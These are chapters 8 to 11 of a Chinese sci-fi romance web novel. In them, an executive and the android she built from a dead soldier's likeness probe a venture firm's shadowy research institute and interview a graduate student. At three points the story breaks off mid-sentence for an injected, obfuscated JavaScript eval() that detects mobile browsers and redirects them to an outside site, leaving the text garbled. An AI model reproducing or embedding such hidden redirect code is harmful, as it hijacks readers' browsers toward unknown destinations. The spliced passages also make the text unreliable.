他的手依然悬在她耳侧,静谧中,那扇窗上投射出些许规律的光点,很快勾勒出了倒映在玻璃上的面庞—— 一个名字呈现在应霁体内,与白天在莫狄历史消息中所检视到的一样。 “……齐知洲是谁?” 他问。 8. chapter 8 燕无乐身躯一震,空气中寂静流淌。 应霁识趣地靠回椅背,好整以暇地补充了更多信息:“我借你的身份权限查看了过往文件,从中发现了一份关于他的身份资料。” “上面的照片有些眼熟,我很难不比对一下。” 燕无乐呼吸一沉,表情比刚才提及星际法典时还难看。 而这些被应霁尽收眼底,还来不及感知情绪,他的处理器就快速生成了一句找补的话: “别误会,我的本意是想了解一下工作内容,想尽快适应秘书的身份。莫狄先生也说,查看过往文件是有帮助的。” “做秘书最重要的是有自知之明,尤其不要画蛇添足。”燕无乐冷冷道。 “……但你允许了我这些权限,”应霁眨了眨眼,又露出了那副未经人类社会毒打的坦然神态,“而且,你刚还说我是完全自由的。” 燕无乐:“……” 人类好复杂。应霁轻声感叹道。 燕无乐捏了捏眉头,才忍住转身离去的冲动,“既然你已经看过齐知洲的身份资料了,还有什么好奇的?” 应霁学着她的样子,背靠转椅在地面滑了两步,然后又定定地停在办公桌前。他说,明知故问。 ……你们人工智能的表达方式也不简单。 没什么好隐瞒的,燕无乐思虑一二,决定全盘托出:“简单来说,你身上的外形数据来源于他的生物基因,比如五官、躯干和皮肤。” 这些决定自然人身份特征的数据,大约百分之九十五来自齐知洲。 应霁对此表示知情,但旋即话锋一转:“合法公民、军方人士、生物数据……你的行为至少涉嫌违反了十八页关于科技产品和人权保障的法条。” 这是不争的事实,燕无乐无可辩驳。她索性破罐破摔:“是我一时冲动,不过他长得确实不赖,你用他的脸也不亏,不是吗?” 她环臂坐着,而应霁静静地看着她紧抿的嘴唇。两人之间隔着一张偌大的办公桌,像一堵空气墙。 他忽然想,自己身为机器,有时也不需要那么人性化。 于是应霁平静地戳破了她—— “他死了,而你喜欢他,是吗?” 他的感官系统和分析程序此刻像是失灵了一般,全然不顾燕无乐胳膊上越掐越紧的指甲—— “我说得对吗?” 体内数台微型量子计算机高速运转,悄无声息地发出警告,一切估测结果都表明,燕无乐随时会给他一巴掌。 被那样的机械臂全力抽一下,恐怕半边脸都得返厂维修。 “到不了‘喜欢’的程度。” 燕无乐忽然泄气般放下了手。 “你猜对了一半,”她淡淡道,“一开始只是机缘巧合下的相遇,后来辗转反侧,发现实在难忘,然后想办法骗到了联系方式。” 里面充斥着吊桥效应、见色起意、口是心非,以及另一方的毫不知情。 “后来就是你知道的那样,军方的星际任务发生意外,他所在的特战小组全军覆没。” 她遗憾地叹了口气:“我们甚至没说过几句话。” 话毕,燕无乐走到落地窗前。天色深蓝,晚霞余韵已散,视线的尽头有快速穿行的光点,那是数以千计的飞行器,它们宛如繁星汇聚成的银河,正沿着空轨徐徐流动。 心事被翻了个底朝天,愤怒和难堪过后只剩惆怅,她的指甲无意识地划过玻璃,无痕也无声。 背后传来窸窸窣窣的脚步声,肩头一重,但下一秒燕无乐头也不回就撇开了应霁安慰意味的手。 “谢谢,但不需要。”她冷道,世事难料,无论同情还是怜悯她都不想要。 身后人却执拗地又拍了拍她: “……我是想问,咱们可以下班了吗?” “……?” 燕无乐顿时怅然全无。 “私人秘书要二十四小时oncall,没有加班一说,自然也没有下班的概念。” 话虽这么说,但她还是抓起外套,登上了应霁已调出的、通往停机坪的天梯。 仪表盘上的目的地显示为岚水,她没好气地出声提醒,此刻主城航线正逢晚高峰,出城路堵得水泄不通。 “在哪都是面对我——所以你急什么?” 然而应霁精密的自适应程序却像出bug了一般,虽然为她调控安全座椅的行为依旧体贴,但回岚水的态度不容左右。 他选择手动驾驶,飞行器平稳升空后驶向了一条更远的旧航线,以避开繁忙的主航线。 急剧上升的加速度让燕无乐被牢牢粘在座椅靠背上,老旧航线也无美景可言。 从容是她一贯的装饰,而这才一天就被身旁的罪魁祸首丢到了九霄云外。 这就是让他人介入个人生活、俗称“恋爱”的体验吗? 燕无乐深吸一口气,又重复了一遍:“——你急什么?” “啊,不好意思,”此刻应霁才像听到她说话般,表情无辜,“我必须要在一个小时内到岚水——” “首次启动,耗电太快了。” 他天真无邪地补充道:“要不在飞行器上也安装个充电接口吧,就当是为了我?” 燕无乐的后槽牙正隐隐作痛: “……好。” * 岚水的夜静谧而辽阔,燕无乐是行动派,在飞行器落地前就调配出了家中备用的多功能充电桩。 很快,形如飞鱼的机身显现出粼粼白光。别墅顶部的私家停机坪上,两只半人高的机械螃蟹正托举着她要的材料,步履滑稽地追着飞行器跑。 燕无乐顺手扶了下应霁,防止他被机械螃蟹当做金属材料抓住扛走。 这还是这座房子内的智械们第一次会面。 燕无乐录入应霁的身份,两只螃蟹立刻同步更新。它们面面相觑了一阵,随后神似双眼的信号收发器晃了晃,放下充电材料后迅速逃走。 燕无乐也不在意,捞起脚边的材料就想回机舱内。应霁收回视线,一同跟了上去:“需要帮忙吗?” “那你给我递工具吧。”她也不客气,机舱墙壁应声推出一个工具箱,正好停在他脚下。 之后的一个多小时内,除了偶尔蹦出的零星名词,燕无乐没说任何多余的话。 充电桩需要接入飞行器的动力源,不算小工程。眼见燕无乐把整个机舱地板掀开大半,应霁的落脚地也越来越狭窄。 薄汗打湿了她的额前碎发,在闷热无风的岚水夏末,舱内只有应霁默默举的着小风扇带来凉意。 而她依旧专注在接线、调整、测试的动作中,无数胶线如雨后蚯蚓般冒了头,又缠绕在她两只颜色不同的手中,最后再埋进平整的甲板。 燕无乐面无表情地接过螺丝刀,单膝跪地,拧紧了舱内壁板上最后一颗螺丝。 除了多了个指节宽的接口,整个飞行器看不出变化,只有目睹全过程的应霁知道,这微创背后是飞行器整个供能线路的脱胎换骨。 “也许不太好看,”燕无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108830|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐直起身子,手中多了根白色胶线,“有线就像打点滴,但充能效率比无线装置更高。” “注意别让其他人看见。”她冷漠地补充道。 应霁接来一试,很快,一股暖流就从腰腹接口处缓缓蔓延,四肢和五官的感应器重新活跃起来,连带着体内计算机也快了不少。 他感到一阵耳清目明,像大梦初醒,燕无乐颇不明朗的神情终于被他扫描进了分析程序中。 一只机械螃蟹颠颠地奔跑而来,左右双钳各举着一罐啤酒,她不说话,眼神示意他一起坐下。 应霁取下钳内的易拉罐,“嘭”地一声,泡沫涌出,他们也被托举到了飞行器顶部。 他啜了一小口,冰镇过的麦芽酒液在口腔内化开,又被模拟味觉的密布式感应器吸取。 “心情不好?”他问。 燕无乐也不遮遮掩掩,点了点头:“你跟我想象中不同……不,其实很多事情都超出了我的预料。” “我不知道自己的选择是否明智。” 她的语气冷静又淡漠,明明关乎前途命运,态度却如同视线般投往辽远星空,丝毫没有回应应霁注视的欲望。 辛辣的刺激在口腔感应器间炸开,他感到体内的计算卡顿了一瞬,但随后是更高速的运转,一些话就这样脱口而出—— “没关系。按照莫狄的消息记录,你大概率是将我作为齐知洲的替身来迷恋,因此,自适应程序也给了我「男友」的定位。” “但你不像训练数据库内反馈出的女友形象。我很困惑,我们的相处完全不符合根据统计结果设计的恋爱模型,我不知如何面对你。” 啤酒顺着喉管流入仿真胃袋,仿生人没有消化系统,但应霁还是和燕无乐碰了杯。 “人类个体间本就千差万别,统计数据只能反映整体水平,代表不了什么。” “所以不要带着预设来看待我,”她将啤酒一饮而尽,淡淡道,“自己学着感受。” 远方山脉后露出主城区的点点灯火,如同金銮的余晖,燕无乐恍惚中想,自己的本家正藏于其中。 接下来要做什么?找机会将应霁介绍给父母吗?他的学习能力很强,表现定能博得满意,紧接着,那些传统流程将被提上日程,张灯结彩,水到渠成。 困扰自己的事情似乎就这样解决了? 但心中这股隐隐的不甘又如何解释呢。 水珠从酒罐中沁出,顺着应霁掌心滑下,他已经掌握了酒液的味觉数据,剩下的大半罐对他而言都是废料。 这就是人类和智械之间的差异。 液体滴滴答答汇成水流,打湿他半个手掌。燕无乐想要接过,机械手指就这样猝不及防地撞上他的手,那由培养皿中生长出的皮肤更加柔软,令她一愣。 他顺势虚扣住她的手,无任何装饰的金属指节沾染了啤酒罐的冷意,如同冰块,随着内置处理器的升温而慢慢融化。 二人的肩就这样靠在一起,应霁低头看向交叠的手,虽然外表不同,但它们内部都是逻辑相似的元件。 “或许我们也有共同之处。”他平静地说,“我会剔除对你的行为预设,与此同时,我也需要更多时间重建你的画像。” 燕无乐终于抬起头。半晌,她松了口气,语调重新快了起来:“……在人类社会中,这叫‘先了解彼此’,算是步入感情生活的缓冲地带。” “你说得对——” 何必着急呢? 后半句话被晚风卷了去,谁都没听清。 9. chapter 9 人可以了解,感情可以培养,恋爱拆解到最后就是一团有关费洛蒙和多巴胺的激素。 燕无乐盯着卧室漆黑的天花板,脑海中反复弹出如此论调。 虽这样想,刚才从露台停机坪下来后,燕无乐还是打消了把“衣橱”挪去别墅客房的念头——于是应霁理所应当地再次躺在了她身边。 一米八的大床宽敞,二人之间像隔着一堵空气墙,井水不犯河水。 飞行器上安装的不过是临时充电装置,真正稳定的充能源依旧藏于别墅地库,只要位于室内,便能为智械供能。 此刻,他正阖着双眼,神情比她安详得多。 燕无乐听着细小的“嗡嗡”电流声,真希望自己也能被这样充电。 然而人类终究是人类,她辗转反侧半晌无果,只能调出莫狄白天发来的集团资料,试图用工作催生一些睡意。 「DM风投公司创立于星历1599年,由多家金融投资公司联合而来,其历史最早可追溯至后地球时代……」 都是些耳熟能详的内容了,燕无乐边看边想。自从百年前DM风投将商业版图拓展到科技领域,科鸢集团就做足了背调。 “他们倒不直接生产什么……”她喃喃道。过去几十年内DM做的大多是保守投资,只求当中间商赚差价,不求科鸢分一杯羹。 但今非昔比,近几年来DM内部迭代,又走上了快速扩张的策略。这在开发程度已趋于九成的金銮城内,算是奇闻异事。 ——颇有破釜沉舟的勇气。 她检索了近十年的行业报表,发现DM风投有两年的营收情况不佳。而作为执行总裁的经验告诉她,这个数字甚至只代表公司在维持收支平衡。 但这说不通。 燕无乐眉头越皱越紧,那座难以忘却的黑金大厦好像还历历在目——她分明记得,DM风投那几个月还在与科鸢同场竞投,那气势,怎么看都不像这样的财务情况。 文档戛然而止,再想抽丝剥茧就需要技术支持了。 她偏头看了看身旁的应霁,犹豫了片刻,还是打消了叫醒他的冲动。 “又不是真秘书……”她自言自语道,按照惯例预定了第二天一早去科鸢总部的行程。 * 莫狄深吸一口气,心道燕总最近回主城坐班的次数变多,自己的压力也有点水涨船高。 此刻,燕无乐正戴着全息眼镜,悠哉地坐在办公室的转椅上,不知道是在看他刚传送的文件,还是什么难登大雅之堂的娱乐内容。 毕竟——他瞟了眼房间另一角的某人——他老板方才已经平地起惊雷,闷声带来了个大惊吓。 莫狄试探性地叫住应霁: “哎,应先生?最近总往主城跑的话,不知道有没有去过咱燕总家的老宅?有时本家的事宜会直接通知到助理……” 流水的男人,铁打的燕总。他想,倘若燕无乐不愿意公布关系,那他就不把换秘书一事知会燕氏本家了。 “本家?”应霁一愣,“本家的消息会和公司有关吗?” 莫狄尴尬一笑:“基本上无关。但私人秘书嘛,开车订餐安排聚会之类的事也少不了,免不了和本家那边打交道。不过这些还是得看燕总意愿。” 应霁又露出了那副貌似在听、实则不懂的表情。 怎么这么听不懂暗示呢?莫狄头疼地想,最后索性直言:“如果燕总不愿意,你就不要在本家抛头露面了。” 这才换来了他的恍然大悟,然而下一秒,莫狄就看着他径直走向燕无乐的方向。 只见他伸手在她的全息眼镜前晃了晃,关闭眼镜,然后在自己的倒抽冷气声和燕无乐错愕的目光中,应霁面容温和地投下一雷: “莫哥让我确认一下,我可以负责处理来自您本家的消息吗?” 空气一瞬凝固。 燕无乐:“……?” 她扭头看莫狄也只得到了个疯狂摇头否认的虚影,“什么意思?” “莫哥说,如果您不愿意,我应该避免出现在燕氏本家。” ——莫狄挤出一抹苦笑,这下连辞呈都想好了。 燕无乐耐人寻味地瞟了眼话中人,又靠回椅背,“本家的消息翻来覆去就那么些,谁来处理都一样。” “新人嘛,有的话可以直接说,效率至上。”她拢了把长发,意有所指道,“拿不准的可以直接来问我。” 莫狄讪讪地欠身赔笑了下,很快就被新工作支走了。 办公室内又只剩下他们二人,应霁望着被恭敬阖起的磨砂玻璃门,轻声重复了遍“新人”。 作为人而言,是挺新的。 莫狄get不到的双关,就这样被燕无乐当冷笑话讲完了,面对不妥的揣测她也只是撂了句“聪明反被聪明误”。 她收好全息眼镜,又对他说:“但莫狄的思维方式也不全是坏事,这种未雨绸缪的心态可以避免很多突发状况,我也很欣赏。” “喏。”燕无乐下巴一抬,那份莫狄早上送来的资料就被投影在办公室内的巨幕光屏中。 “我之前说DM风投的营收状况很奇怪,他这就搞到了内情。” 这次没有莫狄讲解,他们各立一隅,就这样静静地浏览着滚动的页面,在人类肉眼看不见的地方,一些关键数字正被标红、提取,重新整合后形成最终结论。 在应霁得出报告时,燕无乐也抛出一份批注版本,圈点勾画后直指同样的数字—— 如果DM风投近年来的收支情况属实,那么真正造成亏空的是投资方面。 燕无乐指向截取出的几个片段,一个巨额数字下是熟悉的名称。 “阿芙洛狄研究院,”她呼出一口气,“你还记得吗?程远章先接受了它的资助,之后才平步青云当上院长。” “DM豢养了不少这样的机构,看来‘阿芙洛狄’是其中专做科研、并与各大高校合作的代表。” 应霁同步信息后道:“但这个研究院似乎没有具体成果?” 他一边说,一边飞速检索着相关论文期刊和市场产品,然而一无所获,似乎这个研究院内养着的不是页面上白发苍苍的几位科员,而是什么未知的吞金兽。 一条隐形的线将投资巨头DM、阿芙洛狄研究院与程远章连在一起。宛如河流的上下游,虽然DM是毋庸置疑的发源地,但发展到金銮大学的程院长,就已经不知是多少个入海口之一。 中间或许有支流汇合、断流干涸,其间的弯弯绕绕尚不明朗。 之后呢?燕无乐忽然惊觉,曾身为程远章学生的经历,以及如今坐在科鸢总裁办公室的自己,作为两点之外的第三点,在时空的折叠下构建出了一个立体坐标。 “可能是冲着你和科鸢来的。”应霁也敏锐地察觉到了这点。 是什么能让DM风投铤而走险,用这样不留后路的方式进行布局? 燕无乐的心沉了一半。 科鸢集团是家族几代人的心血,潮涨潮落,无论经济蓬勃还是衰退,它都随着金銮星系的建设而一路成长,创造了百万民众的生活刚需。 回溯更遥远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108831|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的历史,早在地球时代,科鸢就历尽大浪淘沙,直至见证人造太阳的诞生。 而DM作为金融财团,即使吞并了科鸢,它也没有能力接管所有的产业线。到那时,燕无乐或许还是执行总裁,只不过头顶多了座隐形的大山。 但戴着镣铐起舞,又怎会自在呢? 她不想葬送前人心血,最后沦为傀儡。 “这样以科研为名的投资还不少呢。” 应霁感受不到她心中的波动,而是顺藤摸瓜查到了一些相似的机构,和阿芙洛狄研究院一样,它们也接受了DM的资金,但没有太多与之匹配的项目产出。 应霁轻拍了下燕无乐的肩膀:“我不是这方面的专才,要不你来看看?” 她接来一看,一些论文链接已被摘了出来,数量不多,但都挺……传统。 “怎么还有做基础研究的?” 燕无乐不敢置信地又翻了几页。 基础研究因为耗时巨大、与产业较为脱节,通常只有拿着星系补助的高校才做,而不是这些更具商业气质的研究所。 又不赚钱,DM投资它们干什么? 她又仔细浏览了一遍应霁检索出的目录,又从中挑出了几个独特的应用型研究。 应霁顺着她的目光,也觉察了端倪,“很大胆嘛,还用上了脑机实验,实验体还打了个擦边。” 在燕无乐不解的视线下,那串生物代号被他解码,一块拳头大的脑组织就这样血红地浮现在她面前,以全息投影的模式展现了脑机实验的全过程。 血色满目,她皱着眉后退了一步,虽然看出了这大小是猴脑,但黏糊糊的粉色胶质还是让她感到不适—— 更何况上面还交错着一大堆五彩斑斓的导管与金属片,覆盖着AI生成画面里特有的滑腻光泽。 “……通过刺激相关组织神经及监视大脑皮层反应,获取实验猴在特定行为下所获得的快感数据,进而模拟人类在性……” 燕无乐没继续读,她瞥了眼应霁,“你这演示画面还是保守了。” 但不可否认的是,这项研究是有商业价值的。 “金銮星系的文明高度发达,法律明确禁止自然人以自身躯体从事情色产业,但智械……确实不在规定范围内。” 应霁体会到了她的意思:“食色性也。这样的功能附加到相关人形产品上,先不论灰色地带,但确实有一定市场。” 燕无乐点点头,但总有种一拳打在棉花上的迷茫感。按照DM风投的营收,投资这样的小项目不见得是为了获利。 她顺手把这份报告转发给了科鸢的市场部门,让其评估一下背后具体的商业价值。 海量数据此刻又断了线,燕无乐划拉着光屏,不死心地又回到阿芙洛狄研究院的页面,“什么成果都没有,那这个研究院在做什么?” 应霁把一堆形式工整的会议照片弹到她面前。 “简而言之,校企合作。” 不止金銮大学,几乎星系内所有有头有脸的高校它都有所涉足。 “他们还不远万里地跑到了星系中的卫星城,资料显示,这是所做反重力研究很强的学校。” 应霁指着其中一张照片,上面二人的领带扭曲漂浮,手中的证书也泛着坚硬的金属质感。 没有产出,但热衷于结交高校……当前得到的线索通向此处。但是,怎样才能在不打草惊蛇的同时,接触到金銮大学呢? 燕无乐忽然灵光一闪: “等一下,程远章的关门大弟子好像要毕业了?” 10. chapter 10 “你打算给他个offer,让他变成科鸢的内部人员吗?” 那次偶遇在应霁被唤醒之前,除了一份刚调出的学籍资料外,应霁对燕无乐返校当天的所见所闻一无所知。 “艾瑞克·斯多罗金,就读于金銮大学人工智能学院,博士研究生,导师程远章,主攻的方向是……自适应程序开发与应用。” 这不自然地停顿,让他一瞬间像极了人类。 燕无乐坦然地观察着应霁的反应,自适应程序是构成他的核心,如同大脑之于人类。 相同逻辑的自适应程序如何理解这里的“本源”呢?燕无乐唯一能确定的是,应霁那被她调整过的情感阈值,不会让他的处理器毫无波澜。 他会有什么表现,无谓、恍惚、还是震悚? 但不管是什么,燕无乐都乐意一见。 他问:“……你曾经也主攻这个吗?” “是的,”燕无乐声音很轻,但不容置疑,“可以说它是创造你的基础。” 应霁沉默了。 如同慢速摄影下的画面,他的眼睛眨了眨,其间的微型镜头却没有对焦,迷茫地投向前方。 几个不成形的词语似乎要从他口中蹦出,没有声音,但足以辨认。“附庸”“从属”……都是燕无乐预料内的答案。 然而他很快闭上嘴,紧接着行动恢复流畅,仿佛只是错觉。 “我们继续聊艾瑞克吧。”应霁的表情有些凝重。 而燕无乐不打算就这样放过他。 她松开环着的手臂,机械掌心悄无声息地切换成了测量模式,然后自然地抚上他的额头。 “你有点烫,刚才是处理器过载了吗?” 应霁迟疑片刻,由于过热,他的声音断断续续,时不时漏出起伏不一的机械声,略显诡异: “头一次,我忽然生成了一个无法回答的问题,它关于我的诞生与存在。” “你说我是独立的个体,然而我的核心却是人为的,我的诞生也源于你的个人意志。”他顿了一下,“如果说我的独立行动是因为你的准许,那你口中的、之于我的自由又是什么?” ——燕无乐怔在原地。 一番话的时间里,她掌心测出的温度数值已下降,她自己却感到一阵燥热。 这段剖析如剑贯心。抛出疑问的人此刻恢复平常,不知它对燕无乐是多大的刺激。 眼前凉爽敞亮的办公室模糊远去,恍惚中,燕无乐好像又回到了几年前那个阳光微燥的会议厅。 金銮大学素来学风严谨,汇报场所也与实验室一般装潢简约,一眼望去满目的灰蓝色调下,是呈U字型围坐的教授们。 她站在众人面前,机械右手发出咔哒声响,下一秒,掌心的光屏控制笔就因用力过猛而掉落在地,顷刻间碎成两截。 身侧的巨幕光屏因此闪烁了一下,无论燕无乐怎么调整,画面还是纹丝不动。 台下的教授们无奈地对视了一眼,随后将汇报叫停。 彼时的程远章身着针织毛衫,略显起球的前胸面料上光秃秃的,和桌角的纸质名牌一样单薄。 他对同事歉意一笑,随后,燕无乐看着他眼角层层细纹再次舒展,对上了他责备又不耐的视线: “小燕啊,不是我说你,开题报告时还说得好好的,怎么中期汇报做成这样?” “自适应程序是很难做,但正因如此才有前景,也好投入应用——但你看看你现在的成果,和当初说的方向一致吗?” 薄汗沁湿脊背,她感到周身冷意蔓延,卡顿的光屏不合时宜地滚动了起来,在冰冷的氛围下自顾自地展示完了她刚被全盘否定掉的心血。 程远章说得没错,进行自适应程序研究的机会难得,而她却将资源浪费在了最吃力不讨好的认知开发方面。 他叹了口气,语气中难掩失望:“不管什么人工智能、智械、数字生命……称谓再怎么五花八门,机器也还是机器,是人类为了获得便利的工具!” “学院的资源也是有限的,你这些让程序进行道德判断之类的实验,不是当下真正该投入精力的事情。” 燕无乐站在原地,冷汗已被风干大半,潮热的感觉贴着T恤游走,隐约瘙痒。她吞了口唾沫,声音不大:“但我已经有了初步成果,即使贴钱,我也想把它做完……” 程远章不耐烦地摆了摆手,示意她不用再说了。其他教授见状也只得打个圆场,所言其他地夸了两句勤奋。 在他们说出“但是”前,燕无乐鞠了一躬,把汇报台让给了下一位博士生。 后来,燕无乐每每思考起换题之事,脑海中都不免浮现出这个被宣判流产的题目,再看其他项目都形同背叛,她很难再提起兴趣。 提交退学申请时,程远章叹了口气,恨铁不成钢地抛下一句“一意孤行是不会有好结果的”。 燕无乐回头望了眼实验室中忙碌的同门们,不置可否。 那个没来得及公布的初步成果是什么来着?走出学院大门时,阳光刺目,燕无乐眯起眼,恍然想起了某个深夜屏幕上生成的那句话—— 「你创造了我,然后呢?」 初代程序还不能解析更复杂的词语,无论是令应霁困惑的附庸还是从属,对初代程序而言都还是另一个维度的内容。 但让燕无乐怔住的,正是这一句反问——一句由冰冷的程序本身,向有血有肉的人类的提问。 “……然后呢?” 燕无乐喃喃道。 屋内只有屏幕泛光。她猛地从椅子上站起,激动地徘徊了好几圈,程序的光标还停留在原处,一闪一闪,像是在等待答复。 但最终,燕无乐也没想好回复什么。 「很抱歉,我目前也不知道。」 最后,她谨慎地敲下这句话,一切戛然而止。 …… “无乐?”应霁低下头,伸出手在她眼前晃了晃,燕无乐才大梦初醒般地应了一声。 她揉了揉眉头,发现它僵得有些难受:“……你刚说,你生成了一个问题,而且无法回答。” 应霁点点头,模拟出的表情里期待满满,“你沉思了很久,所以我猜你已经有了答案。” 燕无乐惨然一笑,索性把方才的回忆悉数讲给了他。 “程远章院长和我理念不同,而金銮大学也不再有我做研究的土壤。” 道不同不相为谋,燕无乐把退学一事说得轻描淡写。 “然后你这个问题吧,”她顿了一下,“其实和初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108832|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代程序的提问一样,我依旧没有答案。” 见他有些茫然,燕无乐多了点耐心:“在人类社会,不是所有问题都有答案,也不是所有的问题都需要追求答案。” “但思考和提问仍然是有……价值的。” 她本想说“必要”,但突然又怕这在他的处理器中被判定为「自相矛盾」然后作废,于是改了口。 说到底,燕无乐希望这番话能变为构成他本身的一部分数据。 光屏一角的时钟滴答走着,文件页面也随着环境光线自动调低了亮度。由此,艾瑞克·斯多罗金的证件照像是蒙了一层雾,朦胧中不再醒目。 其下一行标粗黑字在对比中变得明显,是项目经历,字里行间都熟悉得灼眼。 ——正是她当初报给程远章的备选题目之一。 不过说放弃的也是自己,没什么好伤春悲秋的。于是燕无乐从容地把艾瑞克的资料发给莫狄,安排了一场私人面试。 目睹了全程的应霁:“所以你还是打算给他发个offer,然后收编他。” 燕无乐一边收拾文件一边白了他一眼,“offer?科鸢的offer哪那么容易拿,是师弟也不行。” 她露出一抹耐人寻味的笑: “你以为科鸢集团就没有外包的下游公司吗?” 一个小时后,燕无乐的飞行器内流淌着欢快小曲,在他们高速略过的密集城区内,一个头顶橙色爆炸卷的青年正在街边等快餐,直到裤兜里的通讯器诈尸般响起来电铃声—— 免提后,一道温润但圆滑的男声响起: “艾瑞克先生是吗?这里是雅木科技公司……” 在周围排队的众人闻声回头前,艾瑞克一把掐断免提,然后才不可置信地抓了抓自己的蓬松卷发,“啊?” 电话的另一头,莫狄的嘴角也勾了勾。 “考虑一下吗?我司待遇从优,有意向的话我可以为您安排面试。”他瞟了眼燕无乐的备注,刻意拉长语调,“我看——你是做自适应程序的?” 艾瑞克紧张地“嗯”了一声,短暂的沉默后,电话那头传来一声叹息,“专业很不错,就是不知道能不能应用到我们公司内……” 这个带着惋惜的语气他不陌生,早在读研和读博前就各听过无数回了。 面前的快餐店员连续叫了好几次号,艾瑞克才意识到是自己的餐。然而他此刻只来得及摆摆手,就又抓着头发望着鞋尖了—— 这次,不会再有象牙塔的庇佑了。 他吞了口唾沫,强壮镇定地打断了莫狄:“您好!关于这一点您不用担心,自适应程序只是我的博士论文方向,我基础很扎实,改方向的话也有足够强的学习能力,这一点您可以放心!” “真的,我可以做其他方向——我的简历还有项目经历,面试时我都带给您!” 艾瑞克挂断电话时,吧台的可乐纸杯下,水珠已汇成了一滩汪洋,他的后背也传来一片潮腻。 餐厅外灯红酒绿,他攥着的纸袋已经发瘪。在交替闪烁的信号灯下,车水马龙汇聚一簇,被喇叭和抱怨淹没。 同一时间,燕无乐的飞行器滑向岚水。落日在前,远山青黛,火红的晚霞迎面扑向她和应霁,好似永不沉眠。 11. chapter 11 正午时分,艾瑞克循着导航,在一丛矮灌木背后找到了刻有“雅木”二字的牌匾。 他吞了口唾沫,随后拨通了通话记录里的号码。 不到十分钟,莫狄就笑容满面地出现在了他眼前。“艾瑞克先生,这边请。”他拉开那扇并不起眼的大门,一条笔直深幽的走廊出现。 一间间玻璃实验室内人员走动,对西装革履的莫狄熟视无睹。艾瑞克跟在他身后左顾右盼,逐渐从熟悉的仪表器械中找回了些自信。 二人走进会议室,莫狄也不卖关子:“这位姓应,应先生今天和我一起面试您。” 艾瑞克闻言立刻对他身旁的应霁点头致意。 他们相对而坐,银白桌上摊着艾瑞克递来的纸质简历,然而莫狄只是随意一瞥,就顺手推给了应霁。 他低头扫了一眼,也表现得兴致缺缺——和前一阵子自己查来发给燕无乐的内容没什么区别。 二人将视线重新聚焦到艾瑞克本身。 今天他穿着一件藏青色格子衫,内搭的白T领口微微泛黄,和衬衫一样经过多次水洗,轻飘飘的,毫无版型。 他一头浓密橘色卷发下架着个黑框眼镜,镜片后的鼻梁周围有点点雀斑,不多,但因为脸色苍白而尤为扎眼。 “读博这么辛苦啊,都不像简历照片上的年龄了。”莫狄笑笑,莫名多了分同情。 对此艾瑞克毫无察觉。他尴尬地直起身子:“哦,那个照片是P过的!” 莫狄微微一笑,觉得这愣头青一般的面试似曾相识。 而他上一个面试过的“愣头青一号”正坐在身旁,面无表情又目不转睛地望着艾瑞克。 看什么呢?他默默叹了口气,真不知道燕总派他来的理由。 殊不知,远在科鸢顶楼的燕无乐把他这声叹息听得清清楚楚。 在她办公室内的全息投影下,正播放着应霁实时输送来的面试景象。他的每次眨眼都是一次信号更迭,黑曜石般的双瞳内有全星系最灵敏的微型镜头。 与此同时,应霁还能悄无声息地接收到燕无乐的远程指令,在莫狄和艾瑞克聊的如火如荼时,他们已经暗通款曲好几轮了。 「无乐:迂回一点,打探一下阿芙洛狄研究院和学院的关系。」 这行字忽然从体内浮现,熟悉的发号指令般的态度。于是应霁佯装疑惑,插入二人的对话:“你刚说,你在学校时是研究自适应程序的,期间和其他机构合作过吗?” 艾瑞克回想了一下,“有这样的项目,是一个小研究院发起的,学院牵了线,好像叫什么芙洛?时间有些久……” 应霁捕捉到了关键词,他单手托着下巴,身体略微前倾,乘胜追击:“那怎么不去那所呢?既然你们已经有了合作基础,想必你也更了解那边的业务。” 艾瑞克呼吸一滞,眼睛快速眨了眨。 他上钩了。应霁想。 果然,艾瑞克立刻摇头否认,“它是个初创公司!虽然看起来势头很猛、资金也很充裕,但是……” 他不安地抓了把头发,原本还算服帖的卷发已在面试中数次的折腾下变回了橙色棉花糖。 “但是……?”应霁很有耐心,放缓语速等他理顺思绪。 终于,在莫狄不解但知趣的沉默下,艾瑞克悻悻地缩回手,“怎么说呢……虽然我只参与程序的底层框架搭建,不清楚项目成品的具体用处,但做着做着总感觉很不安……” “就是、那种目的不纯的感觉!您懂吗?”艾瑞克又撸了把头发,发际线在越来越小的声音中昙花一现,“他们好像在做损耗类的实验,并且想添加自适应程序来提高效率和抗风险能力。” “自适应程序的适用范围很广,打个比方,一套完善的自适应程序套入战争模型,和一个训练有素的人类士兵无异。更何况,是士兵还是战车,全取决于与它配套的硬件设施。” 而算算性价比,程序可比活人划算多了。 